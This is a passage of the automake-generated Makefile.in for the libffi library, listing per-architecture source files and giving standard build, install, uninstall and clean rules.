src/mips/n32.S src/mips/o32.S \ src/mips/ffitarget.h \ src/m32r/ffi.c src/m32r/sysv.S src/m32r/ffitarget.h \ src/m68k/ffi.c src/m68k/sysv.S src/m68k/ffitarget.h \ src/powerpc/ffi.c src/powerpc/sysv.S \ src/powerpc/linux64.S src/powerpc/linux64_closure.S \ src/powerpc/ppc_closure.S src/powerpc/asm.h \ src/powerpc/aix.S src/powerpc/darwin.S \ src/powerpc/aix_closure.S src/powerpc/darwin_closure.S \ src/powerpc/ffi_darwin.c src/powerpc/ffitarget.h \ src/s390/ffi.c src/s390/sysv.S src/s390/ffitarget.h \ src/sh/ffi.c src/sh/sysv.S src/sh/ffitarget.h \ src/sh64/ffi.c src/sh64/sysv.S src/sh64/ffitarget.h \ src/sparc/v8.S src/sparc/v9.S src/sparc/ffitarget.h \ src/sparc/ffi.c src/x86/darwin64.S \ src/x86/ffi.c src/x86/sysv.S src/x86/win32.S src/x86/win64.S \ src/x86/darwin.S src/x86/freebsd.S \ src/x86/ffi64.c src/x86/unix64.S src/x86/ffitarget.h \ src/pa/ffitarget.h src/pa/ffi.c src/pa/linux.S src/pa/hpux32.S \ src/frv/ffi.c src/frv/eabi.S src/frv/ffitarget.h src/dlmalloc.c \ libtool-version ChangeLog.libffi m4/libtool.m4 \ m4/lt~obsolete.m4 m4/ltoptions.m4 m4/ltsugar.m4 m4/ltversion.m4 info_TEXINFOS = doc/libffi.texi # Work around what appears to be a GNU make bug handling MAKEFLAGS # values defined in terms of make variables, as is the case for CC and # friends when we are called from the top level Makefile. AM_MAKEFLAGS = \ "AR_FLAGS=$(AR_FLAGS)" \ "CC_FOR_BUILD=$(CC_FOR_BUILD)" \ "CFLAGS=$(CFLAGS)" \ "CXXFLAGS=$(CXXFLAGS)" \ "CFLAGS_FOR_BUILD=$(CFLAGS_FOR_BUILD)" \ "CFLAGS_FOR_TARGET=$(CFLAGS_FOR_TARGET)" \ "INSTALL=$(INSTALL)" \ "INSTALL_DATA=$(INSTALL_DATA)" \ "INSTALL_PROGRAM=$(INSTALL_PROGRAM)" \ "INSTALL_SCRIPT=$(INSTALL_SCRIPT)" \ "JC1FLAGS=$(JC1FLAGS)" \ "LDFLAGS=$(LDFLAGS)" \ "LIBCFLAGS=$(LIBCFLAGS)" \ "LIBCFLAGS_FOR_TARGET=$(LIBCFLAGS_FOR_TARGET)" \ "MAKE=$(MAKE)" \ "MAKEINFO=$(MAKEINFO) $(MAKEINFOFLAGS)" \ "PICFLAG=$(PICFLAG)" \ "PICFLAG_FOR_TARGET=$(PICFLAG_FOR_TARGET)" \ "RUNTESTFLAGS=$(RUNTESTFLAGS)" \ "SHELL=$(SHELL)" \ "exec_prefix=$(exec_prefix)" \ "infodir=$(infodir)" \ "libdir=$(libdir)" \ "mandir=$(mandir)" \ "prefix=$(prefix)" \ "AR=$(AR)" \ "AS=$(AS)" \ "CC=$(CC)" \ "CXX=$(CXX)" \ "LD=$(LD)" \ "NM=$(NM)" \ "RANLIB=$(RANLIB)" \ "DESTDIR=$(DESTDIR)" MAKEOVERRIDES = ACLOCAL_AMFLAGS = $(ACLOCAL_AMFLAGS) -I m4 lib_LTLIBRARIES = libffi.la noinst_LTLIBRARIES = libffi_convenience.la libffi_la_SOURCES = src/debug.c src/prep_cif.c src/types.c \ src/raw_api.c src/java_raw_api.c src/closures.c pkgconfigdir = $(libdir)/pkgconfig pkgconfig_DATA = libffi.pc nodist_libffi_la_SOURCES = $(am__append_1) $(am__append_2) \ $(am__append_3) $(am__append_4) $(am__append_5) \ $(am__append_6) $(am__append_7) $(am__append_8) \ $(am__append_9) $(am__append_10) $(am__append_11) \ $(am__append_12) $(am__append_13) $(am__append_14) \ $(am__append_15) $(am__append_16) $(am__append_17) \ $(am__append_18) $(am__append_19) $(am__append_20) \ $(am__append_21) $(am__append_22) $(am__append_23) \ $(am__append_24) $(am__append_25) $(am__append_26) libffi_convenience_la_SOURCES = $(libffi_la_SOURCES) nodist_libffi_convenience_la_SOURCES = $(nodist_libffi_la_SOURCES) AM_CFLAGS = -Wall -g -fexceptions $(am__append_27) $(am__append_28) libffi_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` $(LTLDFLAGS) $(AM_LTLDFLAGS) AM_CPPFLAGS = -I. -I$(top_srcdir)/include -Iinclude -I$(top_srcdir)/src AM_CCASFLAGS = $(AM_CPPFLAGS) all: fficonfig.h $(MAKE) $(AM_MAKEFLAGS) all-recursive .SUFFIXES: .SUFFIXES: .S .c .dvi .lo .o .obj .ps am--refresh: @: $(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ echo ' cd $(srcdir) && $(AUTOMAKE) --foreign'; \ $(am__cd) $(srcdir) && $(AUTOMAKE) --foreign \ && exit 0; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --foreign Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ echo ' $(SHELL) ./config.status'; \ $(SHELL) ./config.status;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) $(SHELL) ./config.status --recheck $(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) $(am__cd) $(srcdir) && $(AUTOCONF) $(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps) $(am__cd) $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS) $(am__aclocal_m4_deps): fficonfig.h: stamp-h1 @if test ! -f $@; then \ rm -f stamp-h1; \ $(MAKE) $(AM_MAKEFLAGS) stamp-h1; \ else :; fi stamp-h1: $(srcdir)/fficonfig.h.in $(top_builddir)/config.status @rm -f stamp-h1 cd $(top_builddir) && $(SHELL) ./config.status fficonfig.h $(srcdir)/fficonfig.h.in: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) ($(am__cd) $(top_srcdir) && $(AUTOHEADER)) rm -f stamp-h1 touch $@ distclean-hdr: -rm -f fficonfig.h stamp-h1 libffi.pc: $(top_builddir)/config.status $(srcdir)/libffi.pc.in cd $(top_builddir) && $(SHELL) ./config.status $@ install-libLTLIBRARIES: $(lib_LTLIBRARIES) @$(NORMAL_INSTALL) test -z "$(libdir)" || $(MKDIR_P) "$(DESTDIR)$(libdir)" @list='$(lib_LTLIBRARIES)'; test -n "$(libdir)" || list=; \ list2=; for p in $$list; do \ if test -f $$p; then \ list2="$$list2 $$p"; \ else :; fi; \ done; \ test -z "$$list2" || { \ echo " $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=install $(INSTALL) $(INSTALL_STRIP_FLAG) $$list2 '$(DESTDIR)$(libdir)'"; \ $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=install $(INSTALL) $(INSTALL_STRIP_FLAG) $$list2 "$(DESTDIR)$(libdir)"; \ } uninstall-libLTLIBRARIES: @$(NORMAL_UNINSTALL) @list='$(lib_LTLIBRARIES)'; test -n "$(libdir)" || list=; \ for p in $$list; do \ $(am__strip_dir) \ echo " $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=uninstall rm -f '$(DESTDIR)$(libdir)/$$f'"; \ $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=uninstall rm -f "$(DESTDIR)$(libdir)/$$f"; \ done clean-libLTLIBRARIES: -test -z "$(lib_LTLIBRARIES)" || rm -f $(lib_LTLIBRARIES) @list='$(lib_LTLIBRARIES)'; for p in $$list; do \ dir="`echo $$p | sed -e 's|/[^/]*$$||'`"; \ test "$$dir" != "$$p" || dir=.; \ echo "rm -f \"$${dir}/so_locations\""; \ rm -f "$${dir}/so_locations"; \ done clean-noinstLTLIBRARIES: -test -z "$(noinst_LTLIBRARIES)" || rm -f $(noinst_LTLIBRARIES) @list='$(noinst_LTLIBRARIES)'; for p in $$list; do \ dir="`echo $$p | sed -e 's|/[^/]*$$||'`"; \ test "$$dir" != "$$p" || dir=.; \ echo "rm -f \"$${dir}/so_locations\""; \ rm -f "$${dir}/so_locations"; \ done src/$(am__dirstamp): @$(MKDIR_P) src @: > src/$(am__dirstamp) src/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/$(DEPDIR) @: > src/$(DEPDIR)/$(am__dirstamp) src/debug.lo: src/$(am__dirstamp) src/$(DEPDIR)/$(am__dirstamp) src/prep_cif.lo: src/$(am__dirstamp) src/$(DEPDIR)/$(am__dirstamp) src/types.lo: src/$(am__dirstamp) src/$(DEPDIR)/$(am__dirstamp) src/raw_api.lo: src/$(am__dirstamp) src/$(DEPDIR)/$(am__dirstamp) src/java_raw_api.lo: src/$(am__dirstamp) src/$(DEPDIR)/$(am__dirstamp) src/closures.lo: src/$(am__dirstamp) src/$(DEPDIR)/$(am__dirstamp) src/mips/$(am__dirstamp): @$(MKDIR_P) src/mips @: > src/mips/$(am__dirstamp) src/mips/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/mips/$(DEPDIR) @: > src/mips/$(DEPDIR)/$(am__dirstamp) src/mips/ffi.lo: src/mips/$(am__dirstamp) \ src/mips/$(DEPDIR)/$(am__dirstamp) src/mips/o32.lo: src/mips/$(am__dirstamp) \ src/mips/$(DEPDIR)/$(am__dirstamp) src/mips/n32.lo: src/mips/$(am__dirstamp) \ src/mips/$(DEPDIR)/$(am__dirstamp) src/x86/$(am__dirstamp): @$(MKDIR_P) src/x86 @: > src/x86/$(am__dirstamp) src/x86/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/x86/$(DEPDIR) @: > src/x86/$(DEPDIR)/$(am__dirstamp) src/x86/ffi.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/x86/sysv.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/x86/freebsd.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/x86/win32.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/x86/win64.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/x86/darwin.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/x86/ffi64.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/x86/darwin64.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/sparc/$(am__dirstamp): @$(MKDIR_P) src/sparc @: > src/sparc/$(am__dirstamp) src/sparc/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/sparc/$(DEPDIR) @: > src/sparc/$(DEPDIR)/$(am__dirstamp) src/sparc/ffi.lo: src/sparc/$(am__dirstamp) \ src/sparc/$(DEPDIR)/$(am__dirstamp) src/sparc/v8.lo: src/sparc/$(am__dirstamp) \ src/sparc/$(DEPDIR)/$(am__dirstamp) src/sparc/v9.lo: src/sparc/$(am__dirstamp) \ src/sparc/$(DEPDIR)/$(am__dirstamp) src/alpha/$(am__dirstamp): @$(MKDIR_P) src/alpha @: > src/alpha/$(am__dirstamp) src/alpha/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/alpha/$(DEPDIR) @: > src/alpha/$(DEPDIR)/$(am__dirstamp) src/alpha/ffi.lo: src/alpha/$(am__dirstamp) \ src/alpha/$(DEPDIR)/$(am__dirstamp) src/alpha/osf.lo: src/alpha/$(am__dirstamp) \ src/alpha/$(DEPDIR)/$(am__dirstamp) src/ia64/$(am__dirstamp): @$(MKDIR_P) src/ia64 @: > src/ia64/$(am__dirstamp) src/ia64/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/ia64/$(DEPDIR) @: > src/ia64/$(DEPDIR)/$(am__dirstamp) src/ia64/ffi.lo: src/ia64/$(am__dirstamp) \ src/ia64/$(DEPDIR)/$(am__dirstamp) src/ia64/unix.lo: src/ia64/$(am__dirstamp) \ src/ia64/$(DEPDIR)/$(am__dirstamp) src/m32r/$(am__dirstamp): @$(MKDIR_P) src/m32r @: > src/m32r/$(am__dirstamp) src/m32r/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/m32r/$(DEPDIR) @: > src/m32r/$(DEPDIR)/$(am__dirstamp) src/m32r/sysv.lo: src/m32r/$(am__dirstamp) \ src/m32r/$(DEPDIR)/$(am__dirstamp) src/m32r/ffi.lo: src/m32r/$(am__dirstamp) \ src/m32r/$(DEPDIR)/$(am__dirstamp) src/m68k/$(am__dirstamp): @$(MKDIR_P) src/m68k @: > src/m68k/$(am__dirstamp) src/m68k/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/m68k/$(DEPDIR) @: > src/m68k/$(DEPDIR)/$(am__dirstamp) src/m68k/ffi.lo: src/m68k/$(am__dirstamp) \ src/m68k/$(DEPDIR)/$(am__dirstamp) src/m68k/sysv.lo: src/m68k/$(am__dirstamp) \ src/m68k/$(DEPDIR)/$(am__dirstamp) src/powerpc/$(am__dirstamp): @$(MKDIR_P) src/powerpc @: > src/powerpc/$(am__dirstamp) src/powerpc/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/powerpc/$(DEPDIR) @: > src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/ffi.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/sysv.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/ppc_closure.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/linux64.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/linux64_closure.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/ffi_darwin.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/aix.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/aix_closure.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/darwin.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/powerpc/darwin_closure.lo: src/powerpc/$(am__dirstamp) \ src/powerpc/$(DEPDIR)/$(am__dirstamp) src/arm/$(am__dirstamp): @$(MKDIR_P) src/arm @: > src/arm/$(am__dirstamp) src/arm/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/arm/$(DEPDIR) @: > src/arm/$(DEPDIR)/$(am__dirstamp) src/arm/sysv.lo: src/arm/$(am__dirstamp) \ src/arm/$(DEPDIR)/$(am__dirstamp) src/arm/ffi.lo: src/arm/$(am__dirstamp) \ src/arm/$(DEPDIR)/$(am__dirstamp) src/avr32/$(am__dirstamp): @$(MKDIR_P) src/avr32 @: > src/avr32/$(am__dirstamp) src/avr32/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/avr32/$(DEPDIR) @: > src/avr32/$(DEPDIR)/$(am__dirstamp) src/avr32/sysv.lo: src/avr32/$(am__dirstamp) \ src/avr32/$(DEPDIR)/$(am__dirstamp) src/avr32/ffi.lo: src/avr32/$(am__dirstamp) \ src/avr32/$(DEPDIR)/$(am__dirstamp) src/cris/$(am__dirstamp): @$(MKDIR_P) src/cris @: > src/cris/$(am__dirstamp) src/cris/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/cris/$(DEPDIR) @: > src/cris/$(DEPDIR)/$(am__dirstamp) src/cris/sysv.lo: src/cris/$(am__dirstamp) \ src/cris/$(DEPDIR)/$(am__dirstamp) src/cris/ffi.lo: src/cris/$(am__dirstamp) \ src/cris/$(DEPDIR)/$(am__dirstamp) src/frv/$(am__dirstamp): @$(MKDIR_P) src/frv @: > src/frv/$(am__dirstamp) src/frv/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/frv/$(DEPDIR) @: > src/frv/$(DEPDIR)/$(am__dirstamp) src/frv/eabi.lo: src/frv/$(am__dirstamp) \ src/frv/$(DEPDIR)/$(am__dirstamp) src/frv/ffi.lo: src/frv/$(am__dirstamp) \ src/frv/$(DEPDIR)/$(am__dirstamp) src/moxie/$(am__dirstamp): @$(MKDIR_P) src/moxie @: > src/moxie/$(am__dirstamp) src/moxie/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/moxie/$(DEPDIR) @: > src/moxie/$(DEPDIR)/$(am__dirstamp) src/moxie/eabi.lo: src/moxie/$(am__dirstamp) \ src/moxie/$(DEPDIR)/$(am__dirstamp) src/moxie/ffi.lo: src/moxie/$(am__dirstamp) \ src/moxie/$(DEPDIR)/$(am__dirstamp) src/s390/$(am__dirstamp): @$(MKDIR_P) src/s390 @: > src/s390/$(am__dirstamp) src/s390/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/s390/$(DEPDIR) @: > src/s390/$(DEPDIR)/$(am__dirstamp) src/s390/sysv.lo: src/s390/$(am__dirstamp) \ src/s390/$(DEPDIR)/$(am__dirstamp) src/s390/ffi.lo: src/s390/$(am__dirstamp) \ src/s390/$(DEPDIR)/$(am__dirstamp) src/x86/unix64.lo: src/x86/$(am__dirstamp) \ src/x86/$(DEPDIR)/$(am__dirstamp) src/sh/$(am__dirstamp): @$(MKDIR_P) src/sh @: > src/sh/$(am__dirstamp) src/sh/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/sh/$(DEPDIR) @: > src/sh/$(DEPDIR)/$(am__dirstamp) src/sh/sysv.lo: src/sh/$(am__dirstamp) \ src/sh/$(DEPDIR)/$(am__dirstamp) src/sh/ffi.lo: src/sh/$(am__dirstamp) src/sh/$(DEPDIR)/$(am__dirstamp) src/sh64/$(am__dirstamp): @$(MKDIR_P) src/sh64 @: > src/sh64/$(am__dirstamp) src/sh64/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/sh64/$(DEPDIR) @: > src/sh64/$(DEPDIR)/$(am__dirstamp) src/sh64/sysv.lo: src/sh64/$(am__dirstamp) \ src/sh64/$(DEPDIR)/$(am__dirstamp) src/sh64/ffi.lo: src/sh64/$(am__dirstamp) \ src/sh64/$(DEPDIR)/$(am__dirstamp) src/pa/$(am__dirstamp): @$(MKDIR_P) src/pa @: > src/pa/$(am__dirstamp) src/pa/$(DEPDIR)/$(am__dirstamp): @$(MKDIR_P) src/pa/$(DEPDIR) @: > src/pa/$(DEPDIR)/$(am__dirstamp) src/pa/linux.lo: src/pa/$(am__dirstamp) \ src/pa/$(DEPDIR)/$(am__dirstamp) src/pa/ffi.lo: src/pa/$(am__dirstamp) src/pa/$(DEPDIR)/$(am__dirstamp) src/pa/hpux32.lo: src/pa/$(am__dirstamp) \ src/pa/$(DEPDIR)/$(am__dirstamp) libffi.la: $(libffi_la_OBJECTS) $(libffi_la_DEPENDENCIES) $(libffi_la_LINK) -rpath $(libdir) $(libffi_la_OBJECTS) $(libffi_la_LIBADD) $(LIBS) libffi_convenience.la: $(libffi_convenience_la_OBJECTS) $(libffi_convenience_la_DEPENDENCIES) $(LINK) $(libffi_convenience_la_OBJECTS) $(libffi_convenience_la_LIBADD) $(LIBS) mostlyclean-compile: -rm -f *.$(OBJEXT) -rm -f src/alpha/ffi.$(OBJEXT) -rm -f src/alpha/ffi.lo -rm -f src/alpha/osf.$(OBJEXT) -rm -f src/alpha/osf.lo -rm -f src/arm/ffi.$(OBJEXT) -rm -f src/arm/ffi.lo -rm -f src/arm/sysv.$(OBJEXT) -rm -f src/arm/sysv.lo -rm -f src/avr32/ffi.$(OBJEXT) -rm -f src/avr32/ffi.lo -rm -f src/avr32/sysv.$(OBJEXT) -rm -f src/avr32/sysv.lo -rm -f src/closures.$(OBJEXT) -rm -f src/closures.lo -rm -f src/cris/ffi.$(OBJEXT) -rm -f src/cris/ffi.lo -rm -f src/cris/sysv.$(OBJEXT) -rm -f src/cris/sysv.lo -rm -f src/debug.$(OBJEXT) -rm -f src/debug.lo -rm -f src/frv/eabi.$(OBJEXT) -rm -f src/frv/eabi.lo -rm -f src/frv/ffi.$(OBJEXT) -rm -f src/frv/ffi.lo -rm -f src/ia64/ffi.$(OBJEXT) -rm -f src/ia64/ffi.lo -rm -f src/ia64/unix.$(OBJEXT) -rm -f src/ia64/unix.lo -rm -f src/java_raw_api.$(OBJEXT) -rm -f src/java_raw_api.lo -rm -f src/m32r/ffi.$(OBJEXT) -rm -f src/m32r/ffi.lo -rm -f src/m32r/sysv.$(OBJEXT) -rm -f src/m32r/sysv.lo -rm -f src/m68k/ffi.$(OBJEXT) -rm -f src/m68k/ffi.lo -rm -f src/m68k/sysv.$(OBJEXT) -rm -f src/m68k/sysv.lo -rm -f src/mips/ffi.$(OBJEXT) -rm -f src/mips/ffi.lo -rm -f src/mips/n32.$(OBJEXT) -rm -f src/mips/n32.lo -rm -f src/mips/o32.$(OBJEXT) -rm -f src/mips/o32.lo -rm -f src/moxie/eabi.$(OBJEXT) -rm -f src/moxie/eabi.lo -rm -f src/moxie/ffi.$(OBJEXT) -rm -f src/moxie/ffi.lo -rm -f src/pa/ffi.$(OBJEXT) -rm -f src/pa/ffi.lo -rm -f src/pa/hpux32.$(OBJEXT) -rm -f src/pa/hpux32.lo -rm -f src/pa/linux.$(OBJEXT) -rm -f src/pa/linux.lo -rm -f src/powerpc/aix.$(OBJEXT) -rm -f src/powerpc/aix.lo -rm -f src/powerpc/aix_closure.$(OBJEXT) -rm -f src/powerpc/aix_closure.lo -rm -f src/powerpc/darwin.$(OBJEXT) -rm -f src/powerpc/darwin.lo -rm -f src/powerpc/darwin_closure.$(OBJEXT) -rm -f src/powerpc/darwin_closure.lo -rm -f src/powerpc/ffi.$(OBJEXT) -rm -f src/powerpc/ffi.lo -rm -f src/powerpc/ffi_darwin.$(OBJEXT) -rm -f src/powerpc/ffi_darwin.lo -rm -f src/powerpc/linux64.$(OBJEXT) -rm -f src/powerpc/linux64.lo -rm -f src/powerpc/linux64_closure.$(OBJEXT) -rm -f src/powerpc/linux64_closure.lo -rm -f src/powerpc/ppc_closure.$(OBJEXT) -rm -f src/powerpc/ppc_closure.lo -rm -f src/powerpc/sysv.$(OBJEXT) -rm -f src/powerpc/sysv.lo -rm -f src/prep_cif.$(OBJEXT) -rm -f src/prep_cif.lo -rm -f src/raw_api.$(OBJEXT) -rm -f src/raw_api.lo -rm -f src/s390/ffi.$(OBJEXT) -rm -f src/s390/ffi.lo -rm -f src/s390/sysv.$(OBJEXT) -rm -f src/s390/sysv.lo -rm -f src/sh/ffi.$(OBJEXT) -rm -f src/sh/ffi.lo -rm -f src/sh/sysv.$(OBJEXT) -rm -f src/sh/sysv.lo -rm -f src/sh64/ffi.$(OBJEXT) -rm -f src/sh64/ffi.lo -rm -f src/sh64/sysv.$(OBJEXT) -rm -f src/sh64/sysv.lo -rm -f src/sparc/ffi.$(OBJEXT) -rm -f src/sparc/ffi.lo -rm -f src/sparc/v8.$(OBJEXT) -rm -f src/sparc/v8.lo -rm -f src/sparc/v9.$(OBJEXT) -rm -f src/sparc/v9.lo -rm -f src/types.$(OBJEXT) -rm -f src/types.lo -rm -f src/x86/darwin.$(OBJEXT) -rm -f src/x86/darwin.lo -rm -f src/x86/darwin64.$(OBJEXT) -rm -f src/x86/darwin64.lo -rm -f src/x86/ffi.$(OBJEXT) -rm -f src/x86/ffi.lo -rm -f src/x86/ffi64.$(OBJEXT) -rm -f src/x86/ffi64.lo -rm -f src/x86/freebsd.$(OBJEXT) -rm -f src/x86/freebsd.lo -rm -f src/x86/sysv.$(OBJEXT) -rm -f src/x86/sysv.lo -rm -f src/x86/unix64.$(OBJEXT) -rm -f src/x86/unix64.lo -rm -f src/x86/win32.$(OBJEXT) -rm -f src/x86/win32.lo -rm -f src/x86/win64.$(OBJEXT) -rm -f src/x86/win64.lo distclean-compile: -rm -f *.tab.c @AMDEP_TRUE@@am__include@ @am__quote@src/$(DEPDIR)/closures.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/$(DEPDIR)/debug.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/$(DEPDIR)/java_raw_api.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/$(DEPDIR)/prep_cif.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/$(DEPDIR)/raw_api.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/$(DEPDIR)/types.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/alpha/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/alpha/$(DEPDIR)/osf.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/arm/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/arm/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/avr32/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/avr32/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/cris/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/cris/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/frv/$(DEPDIR)/eabi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/frv/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/ia64/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/ia64/$(DEPDIR)/unix.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/m32r/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/m32r/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/m68k/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/m68k/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/mips/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/mips/$(DEPDIR)/n32.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/mips/$(DEPDIR)/o32.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/moxie/$(DEPDIR)/eabi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/moxie/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/pa/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/pa/$(DEPDIR)/hpux32.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/pa/$(DEPDIR)/linux.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/aix.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/aix_closure.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/darwin.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/darwin_closure.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/ffi_darwin.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/linux64.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/linux64_closure.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/ppc_closure.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/powerpc/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/s390/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/s390/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/sh/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/sh/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/sh64/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/sh64/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/sparc/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/sparc/$(DEPDIR)/v8.Plo@am__quote@ @AMDEP_TRUE@@am__include@ 